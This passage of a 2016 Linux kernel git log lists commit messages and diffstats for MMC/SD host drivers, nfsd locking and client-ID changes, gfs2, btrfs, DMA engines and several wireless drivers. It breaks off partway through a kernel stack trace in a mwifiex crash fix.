Ulf Hansson drivers/mmc/card/block.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit 67d35960f445176d5548c660a1b1708cad1c2042 Author: Jungseung Lee Date: Wed Aug 24 19:34:09 2016 +0900 mmc: core: Add error message when switching fails in mmc_select_hs() The switch failure message in mmc_select_timing() had been removed since that is invalid: commit 0400ed0a083a ("mmc: core: remove the invalid message in mmc_select_timing") Now, in the case when mmc_select_hs() return error in mmc_select_timing(), there is nothing to print failure message. Let's make for mmc_select_hs() print message itself in the failure case. Signed-off-by: Jungseung Lee Signed-off-by: Ulf Hansson drivers/mmc/core/mmc.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit ff026099d775c74548839f1d627eb0b2bec0b857 Author: Wolfram Sang Date: Wed Aug 24 11:34:38 2016 +0200 mmc: host: sh_mobile_sdhi: don't populate unneeded functions Populating card_busy caused a side-effect on a chip variant we don't have documentation for (r8a73a4). So, enable it and voltage switching only on devices known to support those features. Signed-off-by: Wolfram Sang Tested-by: Geert Uytterhoeven Signed-off-by: Ulf Hansson Fixes: 452e5eef6d31 ("mmc: tmio: Add UHS-I mode support") drivers/mmc/host/sh_mobile_sdhi.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 6a4679f312357ac7c74c0e1b996efdd1d0a612fa Author: Wolfram Sang Date: Wed Aug 24 11:34:37 2016 +0200 mmc: host: sh_mobile_sdhi: move card_busy from tmio to sdhi card_busy is only used/tested on SDHI for R-Car Gen2 and later. Move it to the SDHI driver, so we can then activate it conditionally depending on the SDHI type. Signed-off-by: Wolfram Sang Tested-by: Geert Uytterhoeven Signed-off-by: Ulf Hansson drivers/mmc/host/sh_mobile_sdhi.c | 8 ++++++++ drivers/mmc/host/tmio_mmc.h | 1 + drivers/mmc/host/tmio_mmc_pio.c | 9 +-------- 3 files changed, 10 insertions(+), 8 deletions(-) commit 2dd110b27d6621e881c796d1aea97da1b3143a5d Author: Michael Weiser Date: Mon Aug 22 18:42:18 2016 +0200 mmc: sunxi-mmc: change idma descriptor to __le32 The sunxi-mmc driver does not take into account the processor may be big endian when writing the DMA descriptors. This causes cards not to be detected when running a big-endian kernel. Change the descriptors for IDMA to use __le32 and ensure they are suitably swapped before writing. Tested successfully on the Cubieboard2. Signed-off-by: Michael Weiser Acked-by: Maxime Ripard Cc: Ulf Hansson Cc: Chen-Yu Tsai Cc: linux-mmc@vger.kernel.org Signed-off-by: Ulf Hansson drivers/mmc/host/sunxi-mmc.c | 27 +++++++++++++++------------ 1 file changed, 15 insertions(+), 12 deletions(-) commit 63311bece02abad40ae442e6deba2a2e522949fb Author: Jean-Francois Moine Date: Tue Aug 23 10:51:04 2016 +0200 mmc: sunxi: Check the value returned by clk_round_rate clk_round_rate() may return an error. Check it. Signed-off-by: Jean-Francois Moine Acked-by: Maxime Ripard Signed-off-by: Ulf Hansson drivers/mmc/host/sunxi-mmc.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) commit b2db9c6743f2622f279af3a022a47a08e6e6f2c9 Author: Douglas Anderson Date: Thu Aug 18 10:26:38 2016 -0700 mmc: sdhci-of-arasan: Don't power PHY w/ slow/no clock PHY intended to be used with the Arasan SDHCI 5.1 controller has trouble turning on when the card clock is slow or off. Strangely these problems appear to show up consistently on some boards while other boards work fine, but on the boards where it shows up the problem reproduces 100% of the time and is quite consistent in its behavior. These problems can be fixed by always making sure that we power on the PHY (and turn on its DLL) when the card clock is faster than about 50 MHz. Once on, we need to make sure that we never power down the PHY / turn off its DLL until the clock is faster again. We'll add logic for handling this into the sdhci-of-arasan driver. Note that right now the only user of a PHY in the sdhci-of-arasan driver is arasan,sdhci-5.1. It's presumed that all arasan,sdhci-5.1 PHY implementations need this workaround, so the logic is only contingent on having a PHY to control. If future Arasan controllers don't have this problem we can add code to decide if we want this flow or not. Also note that we check for slow clocks by checking for <= 400 kHz rather than checking for 50 MHz. This keeps things the most consistent and also means we can power the PHY on at max speed (where the DLL will lock fastest). Presumably anyone who intends to run with a card clock of < 50 MHz and > 400 kHz will be running on a device where this problem is fixed anyway. I believe this brings some resolution to the problems reported before. See the commit 6fc09244d74d ("mmc: sdhci-of-arasan: Revert: Always power the PHY off/on when clock changes"). Signed-off-by: Douglas Anderson Acked-by: Adrian Hunter Reviewed-by: Shawn Lin Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-of-arasan.c | 63 +++++++++++++++++++++++++++++--------- 1 file changed, 48 insertions(+), 15 deletions(-) commit 622b5f35dab374138cfc8ab76d0fcf6b342eb744 Author: Christopher Freeman Date: Wed Aug 17 13:34:27 2016 -0400 mmc: sdhci: Do not allow tuning procedure to be interrupted wait_event_interruptible_timeout() will return early if the blocked process receives a signal, causing the driver to abort the tuning procedure and possibly leaving the controller in a bad state. Since the tuning command is expected to complete quickly (<50ms) and we've set a timeout, use wait_event_timeout() instead. Signed-off-by: Christopher Freeman Tested-by: Robert Foss Signed-off-by: Robert Foss Reviewed-by: Benson Leung Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2fb0b02b79d1c5ca88e223750a2eb9b0a3679bb0 Author: Haibo Chen Date: Mon Aug 15 16:31:33 2016 +0800 mmc: sdhci-esdhc-imx: correct the max timeout count i.MX USDHC Reference Manual has a mistake, for the register SYS_CTRL, the DTOCV(bit 19~16) means the data timeout counter value. When DTOCV is set to 0xF, it means SDCLK << 29, not SDCLK << 28. Signed-off-by: Haibo Chen Acked-by: Dong Aisheng Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-esdhc-imx.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit a215186d7f057a5ff159824b9f869f835c69e952 Author: Haibo Chen Date: Mon Aug 15 16:19:38 2016 +0800 mmc: sdhci-esdhc-imx: do not touch other bit when config DTOCV Now, when call esdhc_set_timeout() to set the data timeout counter value, IPP_RST_N(bit 23) is wrongly affected. This patch add a mask to avoid this. Signed-off-by: Haibo Chen Acked-by: Dong Aisheng Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-esdhc-imx.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 4ad90cf9a8c62ca247917eb1ea1560a4a13a0731 Author: Markus Elfring Date: Mon Aug 15 07:32:45 2016 +0200 mmc: sdhci-brcmstb: Delete owner assignment The field "owner" is set by core. Thus delete an extra initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-brcmstb.c | 1 - 1 file changed, 1 deletion(-) commit 5275a652d296711aaf7f2f4173c8db153e5777c3 Author: Uri Yanai Date: Sun Aug 14 11:46:36 2016 +0300 mmc: sd: Export SD Status via “ssr” device attribute The SD Status register contains several important fields related to the SD Card proprietary features. Those fields may be used by user space applications for vendor specific usage. None of those fields are exported today by the driver to user space. In this patch, we are reading the SD Status register and exporting (using MMC_DEV_ATTR) the SD Status register to the user space. Signed-off-by: Uri Yanai Signed-off-by: Ulf Hansson drivers/mmc/core/sd.c | 37 +++++++++++++++++++------------------ include/linux/mmc/card.h | 1 + 2 files changed, 20 insertions(+), 18 deletions(-) commit d51c50525f0a4c6b58fdd493a933017c62d98731 Author: Wolfram Sang Date: Thu Aug 11 23:03:53 2016 +0200 mmc: vub300: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Ulf Hansson drivers/mmc/host/vub300.c | 2 -- 1 file changed, 2 deletions(-) commit 150d4240254be03aafb2a86c5b1a4b41665bf1b1 Author: Julia Lawall Date: Fri Aug 5 10:56:46 2016 +0200 mmc: sdhci-of-esdhc: use of_property_read_bool Use of_property_read_bool to check for the existence of a property. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @@ expression e1,e2; statement S2,S1; @@ - if (of_get_property(e1,e2,NULL)) + if (of_property_read_bool(e1,e2)) S1 else S2 // Signed-off-by: Julia Lawall Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-of-esdhc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2f7649f5048cfca9c236a8120c51ed762569a5e8 Author: Ben Dooks Date: Mon Aug 1 10:22:11 2016 +0100 mmc: core: Add the vmmc/vmmcq regulator info The core MMC code adds two (optional) regulator properites that drivers should use to get their supplies. This is not documented anywhere so add information on it. Signed-off-by: Ben Dooks Signed-off-by: Ulf Hansson Documentation/devicetree/bindings/mmc/mmc.txt | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 66fe6ac5d5e120b85c2ed310eb25b15a77c110c0 Author: Wei Yongjun Date: Thu Jul 28 16:17:44 2016 +0000 mmc: sdhci-bcm-kona: fix error return code in sdhci_bcm_kona_probe() In clk_set_rate() or clk_prepare_enable() error handling case, the error return code ret is not set, so sdhci_bcm_kona_probe() return 0 in those error cases. Signed-off-by: Wei Yongjun Acked-by: Ray Jui Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-bcm-kona.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 41f469cac2663a41a7b0c84cb94e8f7024385ae4 Author: Nicholas Mc Guire Date: Mon Jul 25 19:59:23 2016 +0200 mmc: moxart: fix wait_for_completion_interruptible_timeout return variable type wait_for_completion_timeout_interruptible returns long not unsigned long so dma_time, which is used exclusively here, is changed to long. Fixes: 1b66e94e6b99 ("mmc: moxart: Add MOXA ART SD/MMC driver") Signed-off-by: Nicholas Mc Guire Signed-off-by: Ulf Hansson drivers/mmc/host/moxart-mmc.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 721e0497172f0fa661eed2d63367cddf479f35e8 Author: Hans de Goede Date: Sun Aug 7 21:02:38 2016 +0200 mmc: pwrseq-simple: Add an optional post-power-on-delay Some devices need a while to boot their firmware after providing clks / de-asserting resets before they are ready to receive sdio commands. This commits adds a post-power-on-delay-ms devicetree property to mmc-pwrseq-simple for use with such devices. Signed-off-by: Hans de Goede Acked-by: Rob Herring Signed-off-by: Ulf Hansson Documentation/devicetree/bindings/mmc/mmc-pwrseq-simple.txt | 2 ++ drivers/mmc/core/pwrseq_simple.c | 9 +++++++++ 2 files changed, 11 insertions(+) commit 4cbc6dbd52516363c61ad8f116355ad63fe9cdf2 Author: Hans de Goede Date: Sat Jul 30 17:03:50 2016 +0200 dt: bindings: Make compatible optional for mmc function nodes On some boards (android tablets) different batches use different sdio wifi modules. This is not a problem since mmc/sdio is an enumerable bus, so we only need to describe and activate the mmc controller in dt and then the kernel will automatically load the right driver. Sometimes it is useful to specify certain ethernet properties for these "unknown" sdio devices, specifically we want the boot-loader to be able to set "local-mac-address" as some of these sdio wifi modules come without an eeprom / without a factory programmed mac address. Since the exact device is unknown (differs per batch) we cannot use a wifi-chip specific compatible, thus sometimes it is desirable to have a mmc function node, without having to make up an otherwise unused compatible for the node, so make the compatible property optional. Cc: Arnd Bergmann Cc: Maxime Ripard Signed-off-by: Hans de Goede Acked-by: Rob Herring Signed-off-by: Ulf Hansson Documentation/devicetree/bindings/mmc/mmc.txt | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 57af711d79bc196896e1e54c78330f7c92edc21c Author: Hans de Goede Date: Sat Jul 30 16:25:48 2016 +0200 ARM: dts: sunxi: Use new sun7i-a20-mmc compatible on sun7i and newer Use the new sun7i-a20-mmc compatible for the mmc controllers on sun7i and newer. Signed-off-by: Hans de Goede Acked-by: Maxime Ripard Signed-off-by: Ulf Hansson arch/arm/boot/dts/sun6i-a31.dtsi | 8 ++++---- arch/arm/boot/dts/sun7i-a20.dtsi | 8 ++++---- arch/arm/boot/dts/sun8i-a23-a33.dtsi | 6 +++--- arch/arm/boot/dts/sun8i-h3.dtsi | 6 +++--- 4 files changed, 14 insertions(+), 14 deletions(-) commit b465646ef41f2f8a397f42a956d9788e898185d7 Author: Hans de Goede Date: Sat Jul 30 16:25:47 2016 +0200 mmc: sunxi: sun4i / sun5i do not have sample clocks It turns out that sun4i (A10) and sun5i (A13 & co) do not have sample clocks, so add a new sun7i-a20-mmc compatible and do not try to use sample clocks on sun4i / sun5i. Since sun4i / sun5i do not have sample clocks, they cannot (reliably) do DDR rates, so only set MMC_CAP_1_8V_DDR when we do have sample clks. Note this patch leaves the clk_prepare_enable() / clk_disable_unprepare() calls to the sample clks as-is, without adding checks for them being NULL. All the clk_foo calls accept a NULL clk and will return success when called with a NULL clk. Signed-off-by: Hans de Goede Acked-by: Maxime Ripard Acked-by: Rob Herring Signed-off-by: Ulf Hansson .../devicetree/bindings/mmc/sunxi-mmc.txt | 6 +++- drivers/mmc/host/sunxi-mmc.c | 35 +++++++++++++++------- 2 files changed, 29 insertions(+), 12 deletions(-) commit f2cecb70941c8d4a9445ee85926202f7157e1222 Author: Hans de Goede Date: Sat Jul 30 16:25:46 2016 +0200 mmc: sunxi: Factor out clock phase setting code into a helper function Add a sunxi_mmc_clk_set_phase() helper function. Signed-off-by: Hans de Goede Acked-by: Maxime Ripard Signed-off-by: Ulf Hansson drivers/mmc/host/sunxi-mmc.c | 61 ++++++++++++++++++++++++-------------------- 1 file changed, 33 insertions(+), 28 deletions(-) commit 86a93317ed71f9ad8bca7baff12930c47c235f80 Author: Hans de Goede Date: Sat Jul 30 16:25:45 2016 +0200 mmc: sunxi: Introduce a sunxi_mmc_cfg struct Create a struct to hold the various model / compatible string dependend settings. Signed-off-by: Hans de Goede Acked-by: Maxime Ripard Signed-off-by: Ulf Hansson drivers/mmc/host/sunxi-mmc.c | 77 ++++++++++++++++++++++++++------------------ 1 file changed, 45 insertions(+), 32 deletions(-) commit 4c5f4bf412eabc355b9c2bc99f8283ca0bd7d6ef Author: Hans de Goede Date: Sat Jul 30 16:25:44 2016 +0200 mmc: sunxi: Disable sample clks on remove When support for the sample clks was added calls to prepare_enable were added to the probe path, but matching calls to disable_unprepare were forgotten in the remove path, this fixes this. Signed-off-by: Hans de Goede Acked-by: Maxime Ripard Signed-off-by: Ulf Hansson drivers/mmc/host/sunxi-mmc.c | 2 ++ 1 file changed, 2 insertions(+) commit 7d22fc11c7edeeac6f1c3f1ae0edcef4de08c6e0 Author: J. Bruce Fields Date: Tue Sep 20 20:55:36 2016 -0400 nfsd4: setclientid_confirm with unmatched verifier should fail A setclientid_confirm with (clientid, verifier) both matching an existing confirmed record is assumed to be a replay, but if the verifier doesn't match, it shouldn't be. This would be a very rare case, except that clients following https://tools.ietf.org/html/rfc7931#section-5.8 may depend on the failure. Reviewed-by: Jeff Layton Signed-off-by: J. Bruce Fields fs/nfsd/nfs4state.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit ebd7c72c63acc3d00944c88cbf96143a8cae179f Author: J. Bruce Fields Date: Mon Sep 12 16:00:47 2016 -0400 nfsd: randomize SETCLIENTID reply to help distinguish servers NFSv4.1 has built-in trunking support that allows a client to determine whether two connections to two different IP addresses are actually to the same server. NFSv4.0 does not, but RFC 7931 attempts to provide clients a means to do this, basically by performing a SETCLIENTID to one address and confirming it with a SETCLIENTID_CONFIRM to the other. Linux clients since 05f4c350ee02 "NFS: Discover NFSv4 server trunking when mounting" implement a variation on this suggestion. It is possible that other clients do too. This depends on the clientid and verifier not being accepted by an unrelated server. Since both are 64-bit values, that would be very unlikely if they were random numbers. But they aren't: knfsd generates the 64-bit clientid by concatenating the 32-bit boot time (in seconds) and a counter. This makes collisions between clientids generated by the same server extremely unlikely. But collisions are very likely between clientids generated by servers that boot at the same time, and it's quite common for multiple servers to boot at the same time. The verifier is a concatenation of the SETCLIENTID time (in seconds) and a counter, so again collisions between different servers are likely if multiple SETCLIENTIDs are done at the same time, which is a common case. Therefore recent NFSv4.0 clients may decide two different servers are really the same, and mount a filesystem from the wrong server. Fortunately the Linux client, since 55b9df93ddd6 "nfsv4/v4.1: Verify the client owner id during trunking detection", only does this when given the non-default "migration" mount option. The fault is really with RFC 7931, and needs a client fix, but in the meantime we can mitigate the chance of these collisions by randomizing the starting value of the counters used to generate clientids and verifiers. Reported-by: Frank Sorenson Reviewed-by: Jeff Layton Signed-off-by: J. Bruce Fields fs/nfsd/nfsctl.c | 2 ++ 1 file changed, 2 insertions(+) commit 19e4c3477f70843930b328be3bcd16bd17993911 Author: Jeff Layton Date: Fri Sep 16 16:28:27 2016 -0400 nfsd: set the MAY_NOTIFY_LOCK flag in OPEN replies If we are using v4.1+, then we can send notification when contended locks become free. Inform the client of that fact. Signed-off-by: Jeff Layton Signed-off-by: J. Bruce Fields fs/nfsd/nfs4state.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit b4c8eb0379c8d3300a54210edd2235fd1e81a8a6 Author: Jeff Layton Date: Fri Sep 16 16:28:26 2016 -0400 nfs: add a new NFS4_OPEN_RESULT_MAY_NOTIFY_LOCK constant As defined in RFC 5661, section 18.16. Signed-off-by: Jeff Layton Signed-off-by: J. Bruce Fields include/uapi/linux/nfs4.h | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 7919d0a27f1e7cb324e023776aa1cbff00f1ee7b Author: Jeff Layton Date: Fri Sep 16 16:28:25 2016 -0400 nfsd: add a LRU list for blocked locks It's possible for a client to call in on a lock that is blocked for a long time, but discontinue polling for it. A malicious client could even set a lock on a file, and then spam the server with failing lock requests from different lockowners that pile up in a DoS attack. Add the blocked lock structures to a per-net namespace LRU when hashing them, and timestamp them. If the lock request is not revisited after a lease period, we'll drop it under the assumption that the client is no longer interested. This also gives us a mechanism to clean up these objects at server shutdown time as well. Signed-off-by: Jeff Layton Signed-off-by: J. Bruce Fields fs/nfsd/netns.h | 1 + fs/nfsd/nfs4state.c | 62 +++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/nfsd/state.h | 2 ++ 3 files changed, 65 insertions(+) commit 76d348fadff52e8ad10e7f587a4560df79a5fefe Author: Jeff Layton Date: Fri Sep 16 16:28:24 2016 -0400 nfsd: have nfsd4_lock use blocking locks for v4.1+ locks Create a new per-lockowner+per-inode structure that contains a file_lock. Have nfsd4_lock add this structure to the lockowner's list prior to setting the lock. Then call the vfs and request a blocking lock (by setting FL_SLEEP). If we get anything besides FILE_LOCK_DEFERRED back, then we dequeue the block structure and free it. When the next lock request comes in, we'll look for an existing block for the same filehandle and dequeue and reuse it if there is one. When the lock comes free (a'la an lm_notify call), we dequeue it from the lockowner's list and kick off a CB_NOTIFY_LOCK callback to inform the client that it should retry the lock request. Signed-off-by: Jeff Layton Signed-off-by: J. Bruce Fields fs/nfsd/nfs4state.c | 164 ++++++++++++++++++++++++++++++++++++++++++++++------ fs/nfsd/state.h | 12 +++- 2 files changed, 156 insertions(+), 20 deletions(-) commit a188620ebd294b18d8da93f4b2a307d484e7bd27 Author: Jeff Layton Date: Fri Sep 16 16:28:23 2016 -0400 nfsd: plumb in a CB_NOTIFY_LOCK operation Add the encoding/decoding for CB_NOTIFY_LOCK operations. Signed-off-by: Jeff Layton Signed-off-by: J. Bruce Fields fs/nfsd/nfs4callback.c | 57 ++++++++++++++++++++++++++++++++++++++++++++++++++ fs/nfsd/state.h | 7 +++++++ fs/nfsd/xdr4cb.h | 9 ++++++++ 3 files changed, 73 insertions(+) commit a6a1cf3d963daaf80e467793060be1fa57599a4b Author: Bamvor Jian Zhang Date: Wed Aug 31 11:45:48 2016 +0200 gpio: MAINTAINERS: Add an entry for GPIO mockup driver Add an entry for the GPIO mockup driver with myself as maintainer. Signed-off-by: Bamvor Jian Zhang Signed-off-by: Linus Walleij MAINTAINERS | 7 +++++++ 1 file changed, 7 insertions(+) commit 0f98dd1b27d27412af3aef6a49ea6975988e33e7 Author: Bamvor Jian Zhang Date: Wed Aug 31 11:45:46 2016 +0200 gpio/mockup: add virtual gpio device This patch add basic structure of a virtual gpio device(gpio-mockup) for testing gpio subsystem. The tester could manipulate such device through userspace(sysfs or char device) and check the result from debugfs. Currently, it support one or more gpiochip(determined by module parameters with base,ngpio pair). One could test the overlap of different gpiochip and test the direction and/or output values of these chips. Signed-off-by: Kamlakant Patel Signed-off-by: Bamvor Jian Zhang Signed-off-by: Linus Walleij Documentation/kernel-parameters.txt | 4 + drivers/gpio/Kconfig | 12 ++ drivers/gpio/Makefile | 1 + drivers/gpio/gpio-mockup.c | 214 ++++++++++++++++++++++++++++++++++++ 4 files changed, 231 insertions(+) commit 332f51d7db13ffb7fcbe2407ed5b3667bc3750a7 Author: Andreas Gruenbacher Date: Mon Sep 26 13:24:34 2016 -0500 gfs2: Initialize atime of I_NEW inodes Fix for commit 719ee344: initialize atime of I_NEW inodes to 0 so that the timestamps read from disk will always be more recent than the initial timestamp, and the atime in the I_NEW inode will be set correctly. Signed-off-by: Andreas Gruenbacher Signed-off-by: Bob Peterson fs/gfs2/inode.c | 4 ++++ 1 file changed, 4 insertions(+) commit d7c436cd605eb203ecf64c40f9b18aa610ac0248 Author: Andreas Gruenbacher Date: Mon Sep 26 13:20:19 2016 -0500 gfs2: Update file times after grabbing glock In gfs2_page_mkwrite, grab the inode glock in EX mode before calling file_update_time: grabbing the lock may result in a call to gfs2_dinode_in, which will reset the file times to their on-disk state. Signed-off-by: Andreas Gruenbacher Signed-off-by: Bob Peterson fs/gfs2/file.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 1eca45f8a840987d0df355e0176921653e4f7ec2 Author: Vasily Averin Date: Wed Sep 21 15:33:05 2016 +0300 NFSD: fix corruption in notifier registration By design notifier can be registered once only, however nfsd registers the same inetaddr notifiers per net-namespace. When this happen it corrupts list of notifiers, as result some notifiers can be not called on proper event, traverse on list can be cycled forever, and second unregister can access already freed memory. Cc: stable@vger.kernel.org fixes: 36684996 ("nfsd: Register callbacks on the inetaddr_chain and inet6addr_chain") Signed-off-by: Vasily Averin Reviewed-by: Jeff Layton Cc: stable@vger.kernel.org Signed-off-by: J. Bruce Fields fs/nfsd/nfssvc.c | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) commit 2df86ad959c9d1cdbeb2f23a0801857731156692 Author: Rafał Miłecki Date: Fri Sep 23 15:27:46 2016 +0200 brcmfmac: drop unused fields from struct brcmf_pub They seem to be there from the first day. We calculate these values but never use them. Signed-off-by: Rafał Miłecki Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/core.c | 3 --- drivers/net/wireless/broadcom/brcm80211/brcmfmac/core.h | 4 ---- drivers/net/wireless/broadcom/brcm80211/brcmfmac/fwsignal.c | 2 -- 3 files changed, 9 deletions(-) commit 196e02490c934398f894e5cb0ee1ac8ad13ca576 Author: Liu Bo Date: Wed Sep 7 14:48:28 2016 -0700 Btrfs: remove unnecessary btrfs_mark_buffer_dirty in split_leaf When we're not able to get enough space through splitting leaf, we'd create a new sibling leaf instead, and it's possible that we return a zero-nritem sibling leaf and mark it dirty before it's in a consistent state. With CONFIG_BTRFS_FS_CHECK_INTEGRITY=y, the integrity check of check_leaf will report panic due to this zero-nritem non-root leaf. This removes the unnecessary btrfs_mark_buffer_dirty. Reported-by: Filipe Manana Signed-off-by: Liu Bo Signed-off-by: David Sterba fs/btrfs/ctree.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 23e9c128adb2038c27a424a5f91136e7fa3e0dc6 Author: Rafał Miłecki Date: Wed Sep 21 08:23:24 2016 +0200 brcmfmac: fix memory leak in brcmf_fill_bss_param This function is called from get_station callback which means that every time user space was getting/dumping station(s) we were leaking 2 KiB. Signed-off-by: Rafał Miłecki Fixes: 1f0dc59a6de ("brcmfmac: rework .get_station() callback") Cc: stable@vger.kernel.org # 4.2+ Acked-by: Arend van Spriel Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 3a03ea763a675ecb2a8805c6db01af125daa56e4 Author: Jean-Francois Moine Date: Sun Sep 18 09:59:50 2016 +0200 dmaengine: sun6i: Add support for Allwinner A83T (sun8i) variant The A83T SoC has the same dma engine as the A31 (sun6i), with a reduced amount of endpoints and physical channels. Signed-off-by: Jean-Francois Moine Acked-by: Maxime Ripard Signed-off-by: Vinod Koul Documentation/devicetree/bindings/dma/sun6i-dma.txt | 1 + drivers/dma/sun6i-dma.c | 7 +++++++ 2 files changed, 8 insertions(+) commit 34681d84a0f7cc22ded1413dc79eef8a2f23d9c3 Author: Sam Van Den Berge Date: Thu Sep 22 20:51:15 2016 +0200 dmaengine: s3c24xx: Add dma_slave_map for s3c2440 devices This patch updates the s3c24xx dma driver to be able to pass a dma_slave_map array via the platform data. This is needed to be able to use the new, simpler dmaengine API [1]. I used the virtual DMA channels as a parameter for the dma_filter function. By doing that, I could reuse the existing filter function in drivers/dma/s3c24xx-dma.c. I have tested this on my mini2440 board with the audio driver. According to my observations, dma_request_slave_channel in the function dmaengine_pcm_new in the file sound/soc/soc-generic-dmaengine-pcm.c now returns a valid DMA channel whereas before no DMA channel was returned at that point. Entries for DMACH_XD0, DMACH_XD1 and DMACH_TIMER are missing because I don't realy know which driver to use for these. [1] http://lists.infradead.org/pipermail/linux-arm-kernel/2015-December/393635.html Signed-off-by: Sam Van Den Berge Reviewed-by: Sylwester Nawrocki Acked-by: Arnd Bergmann Acked-by: Krzysztof Kozlowski Signed-off-by: Vinod Koul arch/arm/mach-s3c24xx/common.c | 35 +++++++++++++++++++++++++++++++ drivers/dma/s3c24xx-dma.c | 3 +++ include/linux/platform_data/dma-s3c24xx.h | 6 ++++++ 3 files changed, 44 insertions(+) commit b42fbed6b8a5942e9f76ec8c7f9c9fd798a2d3af Author: Larry Finger Date: Tue Sep 20 21:19:29 2016 -0400 rtl8xxxu: Stop log spam from each successful interrupt As soon as debugging is turned on, the logs are filled with messages reporting the interrupt status. As this quantity is usually zero, this output is not needed. In fact, there will be a report if the status is not zero, thus the debug line in question could probably be deleted. Rather than taking that action, I have changed it to only be printed when the newly added RTL8XXXU_DEBUG_INTERRUPT bit is set in the debug mask. Signed-off-by: Larry Finger Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu.h | 1 + drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) commit 2fc5dd27bf9b75d83a7071d13cca044bc39748fb Author: Jes Sorensen Date: Tue Sep 20 21:19:28 2016 -0400 rtl8xxxu: Use a struct rtl8xxxu_fileops * in rtl8xxxu_init_device() This saves some 217, or about, derefences of priv->fops. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo .../net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 37 +++++++++++----------- 1 file changed, 19 insertions(+), 18 deletions(-) commit c0a99bbb1b7a11605a53f84f5c444be3ef25a8ab Author: Jes Sorensen Date: Tue Sep 20 21:19:27 2016 -0400 rtl8xxxu: Clean up llt_init() API Remove last_tx_page argument from the llt_init() function. The rtl8xxxu_fileops structure contains the correct TX_TOTAL_PAGE_NUM value for the device, and rtl8xxxu_auto_llt_table() doesn't need to know the value in the first place. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu.h | 6 +++--- drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 9 ++++++--- 2 files changed, 9 insertions(+), 6 deletions(-) commit 3a589fae4a2cff317c3cabd4f76578ffd2761808 Author: Jes Sorensen Date: Tue Sep 20 21:19:26 2016 -0400 rtl8xxxu: Fix off by one error calculating pubq This was detected tracing the 8188eu driver, but doesn't seem to make any difference when using it. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ac3b561721e946047eebbca73d8dcaee1cc9b302 Author: Amitkumar Karwar Date: Tue Sep 20 20:49:04 2016 +0530 mwifiex: code rearrangement in mwifiex_usb_host_to_card() This patch helps get rid of goto statement and improves readability. Signed-off-by: Amitkumar Karwar Signed-off-by: Cathy Luo Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/usb.c | 23 ++++++----------------- 1 file changed, 6 insertions(+), 17 deletions(-) commit 5476f8030d9a9f7082ba5a4d4f0a1bfbf6936800 Author: Cathy Luo Date: Tue Sep 20 20:49:03 2016 +0530 mwifiex: fix race condition causing tx timeout It's been observed that in a corner case mwifiex_usb_tx_complete() gets called before we exit from mwifiex_usb_host_to_card() after submitting the urb. 'data_sent' flag remains set in this case. It blocks further Tx packets and triggers watchdog timeout. The problem is fixed by setting data_sent and port_block flag at correct place. Signed-off-by: Cathy Luo Signed-off-by: Shengzhen Li Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/usb.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) commit 1afac196c16753f93d482eedb9aeb802e740e67e Author: Cathy Luo Date: Tue Sep 20 20:49:02 2016 +0530 mwifiex: fix kernel crash for USB chipsets Following crash issue is observed during TCP traffic stress test [ 2253.625439] NMI watchdog: BUG: soft lockup - CPU#3 stuck for 22s! [kworker/u17:1:5191] [ 2253.625520] Call Trace: [ 2253.625527] [] ? moal_spin_lock+0x30/0x30 [usb8xxx] [ 2253.625533] [] ? wlan_wmm_lists_empty+0xb/0xf0 [mlan] [ 2253.625537] [] mlan_main_process+0x1b3/0x720 [mlan] [ 2253.625540] [] 